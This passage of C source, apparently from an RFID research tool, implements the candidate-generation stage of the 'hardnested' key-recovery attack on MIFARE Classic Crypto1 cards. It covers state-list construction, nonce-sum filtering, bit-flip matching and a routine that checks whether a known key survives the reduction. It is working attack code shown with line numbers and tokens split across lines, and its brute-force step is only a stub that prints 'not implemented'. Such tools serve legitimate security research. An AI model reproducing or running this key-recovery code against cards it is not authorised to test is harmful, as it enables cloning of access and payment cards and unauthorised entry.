-1) << (20-STATELIST_INDEX_WIDTH
);
794 if ((state
& index_mask
) != index
) {
795 index
= state
& index_mask
;
797 if (partial_statelist
[sum_property
].index
[odd_even
][index
>> (20-STATELIST_INDEX_WIDTH
)] == NULL
) {
798 partial_statelist
[sum_property
].index
[odd_even
][index
>> (20-STATELIST_INDEX_WIDTH
)] = p
;
801 // add End Of List markers
802 for (uint16_t i
= 0; i
<= 16; i
+= 2) {
803 uint32_t *p
= partial_statelist
[i
].states
[odd_even
];
804 p
+= partial_statelist
[i
].len
[odd_even
];
813 static void init_BitFlip_statelist(void)
815 printf("Generating bitflip statelist...\n");
816 uint32_t *p
= statelist_bitflip
.states
[0] = malloc(sizeof(uint32_t) * 1<<20);
818 uint32_t index_mask
= (STATELIST_INDEX_SIZE
-1) << (20-STATELIST_INDEX_WIDTH
);
819 for (uint32_t state
= 0; state
< (1 << 20); state
++) {
820 if (filter(state
) != filter(state
^1)) {
821 if ((state
& index_mask
) != index
) {
822 index
= state
& index_mask
;
824 if (statelist_bitflip
.index
[0][index
>> (20-STATELIST_INDEX_WIDTH
)] == NULL
) {
825 statelist_bitflip
.index
[0][index
>> (20-STATELIST_INDEX_WIDTH
)] = p
;
830 // set len and add End Of List marker
831 statelist_bitflip
.len
[0] = p
- statelist_bitflip
.states
[0];
833 statelist_bitflip
.states
[0] = realloc(statelist_bitflip
.states
[0], sizeof(uint32_t) * (statelist_bitflip
.len
[0] + 1));
837 static inline uint32_t *find_first_state(uint32_t state
, uint32_t mask
, partial_indexed_statelist_t
*sl
, odd_even_t odd_even
)
839 uint32_t *p
= sl
->index
[odd_even
][(state
& mask
) >> (20-STATELIST_INDEX_WIDTH
)]; // first Bits as index
841 if (p
== NULL
) return NULL
;
842 while (*p
< (state
& mask
)) p
++;
843 if (*p
== 0xffffffff) return NULL
; // reached end of list, no match
844 if ((*p
& mask
) == (state
& mask
)) return p
; // found a match.
845 return NULL
; // no match
849 static inline bool /*__attribute__((always_inline))*/ invariant_holds(uint_fast8_t byte_diff
, uint_fast32_t state1
, uint_fast32_t state2
, uint_fast8_t bit
, uint_fast8_t state_bit
)
851 uint_fast8_t j_1_bit_mask
= 0x01 << (bit
-1);
852 uint_fast8_t bit_diff
= byte_diff
& j_1_bit_mask
; // difference of (j-1)th bit
853 uint_fast8_t filter_diff
= filter(state1
>> (4-state_bit
)) ^ filter(state2
>> (4-state_bit
)); // difference in filter function
854 uint_fast8_t mask_y12_y13
= 0xc0 >> state_bit
;
855 uint_fast8_t state_bits_diff
= (state1
^ state2
) & mask_y12_y13
; // difference in state bits 12 and 13
856 uint_fast8_t all_diff
= evenparity8(bit_diff
^ state_bits_diff
^ filter_diff
); // use parity function to XOR all bits
861 static inline bool /*__attribute__((always_inline))*/ invalid_state(uint_fast8_t byte_diff
, uint_fast32_t state1
, uint_fast32_t state2
, uint_fast8_t bit
, uint_fast8_t state_bit
)
863 uint_fast8_t j_bit_mask
= 0x01 << bit
;
864 uint_fast8_t bit_diff
= byte_diff
& j_bit_mask
; // difference of jth bit
865 uint_fast8_t mask_y13_y16
= 0x48 >> state_bit
;
866 uint_fast8_t state_bits_diff
= (state1
^ state2
) & mask_y13_y16
; // difference in state bits 13 and 16
867 uint_fast8_t all_diff
= evenparity8(bit_diff
^ state_bits_diff
); // use parity function to XOR all bits
872 static inline bool remaining_bits_match(uint_fast8_t num_common_bits
, uint_fast8_t byte_diff
, uint_fast32_t state1
, uint_fast32_t state2
, odd_even_t odd_even
)
876 switch (num_common_bits
) {
877 case 0: if (!invariant_holds(byte_diff
, state1
, state2
, 1, 0)) return true;
878 case 1: if (invalid_state(byte_diff
, state1
, state2
, 1, 0)) return false;
879 case 2: if (!invariant_holds(byte_diff
, state1
, state2
, 3, 1)) return true;
880 case 3: if (invalid_state(byte_diff
, state1
, state2
, 3, 1)) return false;
881 case 4: if (!invariant_holds(byte_diff
, state1
, state2
, 5, 2)) return true;
882 case 5: if (invalid_state(byte_diff
, state1
, state2
, 5, 2)) return false;
883 case 6: if (!invariant_holds(byte_diff
, state1
, state2
, 7, 3)) return true;
884 case 7: if (invalid_state(byte_diff
, state1
, state2
, 7, 3)) return false;
888 switch (num_common_bits
) {
889 case 0: if (invalid_state(byte_diff
, state1
, state2
, 0, 0)) return false;
890 case 1: if (!invariant_holds(byte_diff
, state1
, state2
, 2, 1)) return true;
891 case 2: if (invalid_state(byte_diff
, state1
, state2
, 2, 1)) return false;
892 case 3: if (!invariant_holds(byte_diff
, state1
, state2
, 4, 2)) return true;
893 case 4: if (invalid_state(byte_diff
, state1
, state2
, 4, 2)) return false;
894 case 5: if (!invariant_holds(byte_diff
, state1
, state2
, 6, 3)) return true;
895 case 6: if (invalid_state(byte_diff
, state1
, state2
, 6, 3)) return false;
899 return true; // valid state
903 static bool all_other_first_bytes_match(uint32_t state
, odd_even_t odd_even
)
905 for (uint16_t i
= 1; i
< num_good_first_bytes
; i
++) {
906 uint16_t sum_a8
= nonces
[best_first_bytes
[i
]].Sum8_guess
;
907 uint_fast8_t bytes_diff
= best_first_bytes
[0] ^ best_first_bytes
[i
];
908 uint_fast8_t j
= common_bits(bytes_diff
);
909 uint32_t mask
= 0xfffffff0;
910 if (odd_even
== ODD_STATE
) {
916 //printf("bytes 0x%02x and 0x%02x: %d common bits, mask = 0x%08x, state = 0x%08x, sum_a8 = %d", best_first_bytes[0], best_first_bytes[i], j, mask, state, sum_a8);
917 bool found_match
= false;
918 for (uint16_t r
= 0; r
<= 16 && !found_match
; r
+= 2) {
919 for (uint16_t s
= 0; s
<= 16 && !found_match
; s
+= 2) {
920 if (r
*(16-s
) + (16-r
)*s
== sum_a8
) {
921 //printf("Checking byte 0x%02x for partial sum (%s) %d\n", best_first_bytes[i], odd_even==ODD_STATE?"odd":"even", odd_even==ODD_STATE?r:s);
922 uint16_t part_sum_a8
= (odd_even
== ODD_STATE
) ? r
: s
;
923 uint32_t *p
= find_first_state(state
, mask
, &partial_statelist
[part_sum_a8
], odd_even
);
925 while ((state
& mask
) == (*p
& mask
) && (*p
!= 0xffffffff)) {
926 if (remaining_bits_match(j
, bytes_diff
, state
, (state
&0x00fffff0) | *p
, odd_even
)) {
928 // if ((odd_even == ODD_STATE && state == test_state_odd)
929 // || (odd_even == EVEN_STATE && state == test_state_even)) {
930 // printf("all_other_first_bytes_match(): %s test state: remaining bits matched. Bytes = %02x, %02x, Common Bits=%d, mask=0x%08x, PartSum(a8)=%d\n",
931 // odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j, mask, part_sum_a8);
935 // if ((odd_even == ODD_STATE && state == test_state_odd)
936 // || (odd_even == EVEN_STATE && state == test_state_even)) {
937 // printf("all_other_first_bytes_match(): %s test state: remaining bits didn't match. Bytes = %02x, %02x, Common Bits=%d, mask=0x%08x, PartSum(a8)=%d\n",
938 // odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j, mask, part_sum_a8);
944 // if ((odd_even == ODD_STATE && state == test_state_odd)
945 // || (odd_even == EVEN_STATE && state == test_state_even)) {
946 // printf("all_other_first_bytes_match(): %s test state: couldn't find a matching state. Bytes = %02x, %02x, Common Bits=%d, mask=0x%08x, PartSum(a8)=%d\n",
947 // odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j, mask, part_sum_a8);
955 // if ((odd_even == ODD_STATE && state == test_state_odd)
956 // || (odd_even == EVEN_STATE && state == test_state_even)) {
957 // printf("all_other_first_bytes_match(): %s test state: Eliminated. Bytes = %02x, %02x, Common Bits = %d\n", odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j);
967 static bool all_bit_flips_match(uint32_t state
, odd_even_t odd_even
)
969 for (uint16_t i
= 0; i
< 256; i
++) {
970 if (nonces
[i
].BitFlip
[odd_even
] && i
!= best_first_bytes
[0]) {
971 uint_fast8_t bytes_diff
= best_first_bytes
[0] ^ i
;
972 uint_fast8_t j
= common_bits(bytes_diff
);
973 uint32_t mask
= 0xfffffff0;
974 if (odd_even
== ODD_STATE
) {
980 //printf("bytes 0x%02x and 0x%02x: %d common bits, mask = 0x%08x, state = 0x%08x, sum_a8 = %d", best_first_bytes[0], best_first_bytes[i], j, mask, state, sum_a8);
981 bool found_match
= false;
982 uint32_t *p
= find_first_state(state
, mask
, &statelist_bitflip
, 0);
984 while ((state
& mask
) == (*p
& mask
) && (*p
!= 0xffffffff)) {
985 if (remaining_bits_match(j
, bytes_diff
, state
, (state
&0x00fffff0) | *p
, odd_even
)) {
987 // if ((odd_even == ODD_STATE && state == test_state_odd)
988 // || (odd_even == EVEN_STATE && state == test_state_even)) {
989 // printf("all_other_first_bytes_match(): %s test state: remaining bits matched. Bytes = %02x, %02x, Common Bits=%d, mask=0x%08x, PartSum(a8)=%d\n",
990 // odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j, mask, part_sum_a8);
994 // if ((odd_even == ODD_STATE && state == test_state_odd)
995 // || (odd_even == EVEN_STATE && state == test_state_even)) {
996 // printf("all_other_first_bytes_match(): %s test state: remaining bits didn't match. Bytes = %02x, %02x, Common Bits=%d, mask=0x%08x, PartSum(a8)=%d\n",
997 // odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j, mask, part_sum_a8);
1003 // if ((odd_even == ODD_STATE && state == test_state_odd)
1004 // || (odd_even == EVEN_STATE && state == test_state_even)) {
1005 // printf("all_other_first_bytes_match(): %s test state: couldn't find a matching state. Bytes = %02x, %02x, Common Bits=%d, mask=0x%08x, PartSum(a8)=%d\n",
1006 // odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j, mask, part_sum_a8);
1010 // if ((odd_even == ODD_STATE && state == test_state_odd)
1011 // || (odd_even == EVEN_STATE && state == test_state_even)) {
1012 // printf("all_other_first_bytes_match(): %s test state: Eliminated. Bytes = %02x, %02x, Common Bits = %d\n", odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j);
1024 static struct sl_cache_entry
{
1027 } sl_cache
[17][17][2];
1030 static void init_statelist_cache(void)
1033 for (uint16_t i
= 0; i
< 17; i
+=2) {
1034 for (uint16_t j
= 0; j
< 17; j
+=2) {
1035 for (uint16_t k
= 0; k
< 2; k
++) {
1036 sl_cache
[i
][j
][k
].sl
= NULL
;
1037 sl_cache
[i
][j
][k
].len
= 0;
1044 static int add_matching_states(statelist_t
*candidates
, uint16_t part_sum_a0
, uint16_t part_sum_a8
, odd_even_t odd_even
)
1046 uint32_t worstcase_size
= 1<<20;
1048 // check cache for existing results
1049 if (sl_cache
[part_sum_a0
][part_sum_a8
][odd_even
].sl
!= NULL
) {
1050 candidates
->states
[odd_even
] = sl_cache
[part_sum_a0
][part_sum_a8
][odd_even
].sl
;
1051 candidates
->len
[odd_even
] = sl_cache
[part_sum_a0
][part_sum_a8
][odd_even
].len
;
1055 candidates
->states
[odd_even
] = (uint32_t *)malloc(sizeof(uint32_t) * worstcase_size
);
1056 if (candidates
->states
[odd_even
] == NULL
) {
1057 PrintAndLog("Out of memory error.\n");
1060 uint32_t *add_p
= candidates
->states
[odd_even
];
1061 for (uint32_t *p1
= partial_statelist
[part_sum_a0
].states
[odd_even
]; *p1
!= 0xffffffff; p1
++) {
1062 uint32_t search_mask
= 0x000ffff0;
1063 uint32_t *p2
= find_first_state((*p1
<< 4), search_mask
, &partial_statelist
[part_sum_a8
], odd_even
);
1065 while (((*p1
<< 4) & search_mask
) == (*p2
& search_mask
) && *p2
!= 0xffffffff) {
1066 if ((nonces
[best_first_bytes
[0]].BitFlip
[odd_even
] && find_first_state((*p1
<< 4) | *p2
, 0x000fffff, &statelist_bitflip
, 0))
1067 || !nonces
[best_first_bytes
[0]].BitFlip
[odd_even
]) {
1068 if (all_other_first_bytes_match((*p1
<< 4) | *p2
, odd_even
)) {
1069 if (all_bit_flips_match((*p1
<< 4) | *p2
, odd_even
)) {
1070 *add_p
++ = (*p1
<< 4) | *p2
;
1079 // set end of list marker and len
1080 *add_p
= 0xffffffff;
1081 candidates
->len
[odd_even
] = add_p
- candidates
->states
[odd_even
];
1083 candidates
->states
[odd_even
] = realloc(candidates
->states
[odd_even
], sizeof(uint32_t) * (candidates
->len
[odd_even
] + 1));
1085 sl_cache
[part_sum_a0
][part_sum_a8
][odd_even
].sl
= candidates
->states
[odd_even
];
1086 sl_cache
[part_sum_a0
][part_sum_a8
][odd_even
].len
= candidates
->len
[odd_even
];
1092 static statelist_t
*add_more_candidates(statelist_t
*current_candidates
)
1094 statelist_t
*new_candidates
= NULL
;
1095 if (current_candidates
== NULL
) {
1096 if (candidates
== NULL
) {
1097 candidates
= (statelist_t
*)malloc(sizeof(statelist_t
));
1099 new_candidates
= candidates
;
1101 new_candidates
= current_candidates
->next
= (statelist_t
*)malloc(sizeof(statelist_t
));
1103 new_candidates
->next
= NULL
;
1104 new_candidates
->len
[ODD_STATE
] = 0;
1105 new_candidates
->len
[EVEN_STATE
] = 0;
1106 new_candidates
->states
[ODD_STATE
] = NULL
;
1107 new_candidates
->states
[EVEN_STATE
] = NULL
;
1108 return new_candidates
;
1112 static void TestIfKeyExists(uint64_t key
)
1114 struct Crypto1State
*pcs
;
1115 pcs
= crypto1_create(key
);
1116 crypto1_byte(pcs
, (cuid
>> 24) ^ best_first_bytes
[0], true);
1118 uint32_t state_odd
= pcs
->odd
& 0x00ffffff;
1119 uint32_t state_even
= pcs
->even
& 0x00ffffff;
1120 //printf("Tests: searching for key %llx after first byte 0x%02x (state_odd = 0x%06x, state_even = 0x%06x) ...\n", key, best_first_bytes[0], state_odd, state_even);
1123 for (statelist_t
*p
= candidates
; p
!= NULL
; p
= p
->next
) {
1124 bool found_odd
= false;
1125 bool found_even
= false;
1126 uint32_t *p_odd
= p
->states
[ODD_STATE
];
1127 uint32_t *p_even
= p
->states
[EVEN_STATE
];
1128 while (*p_odd
!= 0xffffffff) {
1129 if ((*p_odd
& 0x00ffffff) == state_odd
) {
1135 while (*p_even
!= 0xffffffff) {
1136 if ((*p_even
& 0x00ffffff) == state_even
) {
1141 count
+= (p_odd
- p
->states
[ODD_STATE
]) * (p_even
- p
->states
[EVEN_STATE
]);
1142 if (found_odd
&& found_even
) {
1143 PrintAndLog("Key Found after testing %lld (2^%1.1f) out of %lld (2^%1.1f) keys. A brute force would have taken approx %lld minutes.",
1144 count
, log(count
)/log(2),
1145 maximum_states
, log(maximum_states
)/log(2),
1147 crypto1_destroy(pcs
);
1152 printf("Key NOT found!\n");
1153 crypto1_destroy(pcs
);
1157 static void generate_candidates(uint16_t sum_a0
, uint16_t sum_a8
)
1159 printf("Generating crypto1 state candidates... \n");
1161 statelist_t
*current_candidates
= NULL
;
1162 // estimate maximum candidate states
1164 for (uint16_t sum_odd
= 0; sum_odd
<= 16; sum_odd
+= 2) {
1165 for (uint16_t sum_even
= 0; sum_even
<= 16; sum_even
+= 2) {
1166 if (sum_odd
*(16-sum_even
) + (16-sum_odd
)*sum_even
== sum_a0
) {
1167 maximum_states
+= (uint64_t)partial_statelist
[sum_odd
].len
[ODD_STATE
] * partial_statelist
[sum_even
].len
[EVEN_STATE
] * (1<<8);
1171 printf("Number of possible keys with Sum(a0) = %d: %lld (2^%1.1f)\n", sum_a0
, maximum_states
, log(maximum_states
)/log(2.0));
1173 init_statelist_cache();
1175 for (uint16_t p
= 0; p
<= 16; p
+= 2) {
1176 for (uint16_t q
= 0; q
<= 16; q
+= 2) {
1177 if (p
*(16-q
) + (16-p
)*q
== sum_a0
) {
1178 printf("Reducing Partial Statelists (p,q) = (%d,%d) with lengths %d, %d\n",
1179 p
, q
, partial_statelist
[p
].len
[ODD_STATE
], partial_statelist
[q
].len
[EVEN_STATE
]);
1180 for (uint16_t r
= 0; r
<= 16; r
+= 2) {
1181 for (uint16_t s
= 0; s
<= 16; s
+= 2) {
1182 if (r
*(16-s
) + (16-r
)*s
== sum_a8
) {
1183 current_candidates
= add_more_candidates(current_candidates
);
1184 // check for the smallest partial statelist. Try this first - it might give 0 candidates
1185 // and eliminate the need to calculate the other part
1186 if (MIN(partial_statelist
[p
].len
[ODD_STATE
], partial_statelist
[r
].len
[ODD_STATE
])
1187 < MIN(partial_statelist
[q
].len
[EVEN_STATE
], partial_statelist
[s
].len
[EVEN_STATE
])) {
1188 add_matching_states(current_candidates
, p
, r
, ODD_STATE
);
1189 if(current_candidates
->len
[ODD_STATE
]) {
1190 add_matching_states(current_candidates
, q
, s
, EVEN_STATE
);
1192 current_candidates
->len
[EVEN_STATE
] = 0;
1193 uint32_t *p
= current_candidates
->states
[EVEN_STATE
] = malloc(sizeof(uint32_t));
1197 add_matching_states(current_candidates
, q
, s
, EVEN_STATE
);
1198 if(current_candidates
->len
[EVEN_STATE
]) {
1199 add_matching_states(current_candidates
, p
, r
, ODD_STATE
);
1201 current_candidates
->len
[ODD_STATE
] = 0;
1202 uint32_t *p
= current_candidates
->states
[ODD_STATE
] = malloc(sizeof(uint32_t));
1206 printf("Odd state candidates: %6d (2^%0.1f)\n", current_candidates
->len
[ODD_STATE
], log(current_candidates
->len
[ODD_STATE
])/log(2));
1207 printf("Even state candidates: %6d (2^%0.1f)\n", current_candidates
->len
[EVEN_STATE
], log(current_candidates
->len
[EVEN_STATE
])/log(2));
1217 for (statelist_t
*sl
= candidates
; sl
!= NULL
; sl
= sl
->next
) {
1218 maximum_states
+= (uint64_t)sl
->len
[ODD_STATE
] * sl
->len
[EVEN_STATE
];
1220 printf("Number of remaining possible keys: %lld (2^%1.1f)\n", maximum_states
, log(maximum_states
)/log(2.0));
1225 static void brute_force(void)
1227 if (known_target_key
!= -1) {
1228 PrintAndLog("Looking for known target key in remaining key space...");
1229 TestIfKeyExists(known_target_key
);
1231 PrintAndLog("Brute Force phase is not implemented.");
1237 int mfnestedhard(uint8_t blockNo
, uint8_t keyType
, uint8_t *key
, uint8_t trgBlockNo
, uint8_t trgKeyType
, uint8_t *trgkey
, bool nonce_file_read
, bool nonce_file_write
, bool slow
)
1239 if (trgkey
!= NULL
) {
1240 known_target_key
= bytes_to_num(trgkey
, 6);
1242 known_target_key
= -1;
1245 // initialize the list of nonces
1246 for (uint16_t i
= 0; i
< 256; i
++) {
1249 nonces
[i
].Sum8_guess
= 0;
1250 nonces
[i
].Sum8_prob
= 0.0;
1251 nonces
[i
].updated
= true;
1252 nonces
[i
].first
= NULL
;
1256 num_good_first_bytes
= 0;
1258 init_partial_statelists();
1259 init_BitFlip_statelist();
1261 if (nonce_file_read
) { // use pre-acquired data from file nonces.bin
1262 if (read_nonce_file() != 0) {
1265 Check_for_FilterFlipProperties();
1266 num_good_first_bytes
= MIN(estimate_second_byte_sum(), GOOD_BYTES_REQUIRED
);
1267 } else { // acquire nonces.
1268 uint16_t is_OK
= acquire_nonces(blockNo
, keyType
, key
, trgBlockNo
, trgKeyType
, nonce_file_write
, slow
);
1278 PrintAndLog("Sum(a0) = %d", first_byte_Sum
);
1279 // PrintAndLog("Best 10 first bytes: %02x, %02x, %02x, %02x, %02x, %02x, %02x, %02x, %02x, %02x",
1280 // best_first_bytes[0],
1281 // best_first_bytes[1],
1282 // best_first_bytes[2],
1283 // best_first_bytes[3],
1284 // best_first_bytes[4],
1285 // best_first_bytes[5],
1286 // best_first_bytes[6],
1287 // best_first_bytes[7],
1288 // best_first_bytes[8],
1289 // best_first_bytes[9] );
1290 PrintAndLog("Number of first bytes with confidence > %2.1f%%: %d", CONFIDENCE_THRESHOLD
*100.0, num_good_first_bytes
);
1292 time_t start_time
= clock();
1293 generate_candidates(first_byte_Sum
, nonces
[best_first_bytes
[0]].Sum8_guess
);
1294 PrintAndLog("Time for generating key candidates list: %1.0f seconds", (float)(clock() - start_time
)/CLOCKS_PER_SEC
);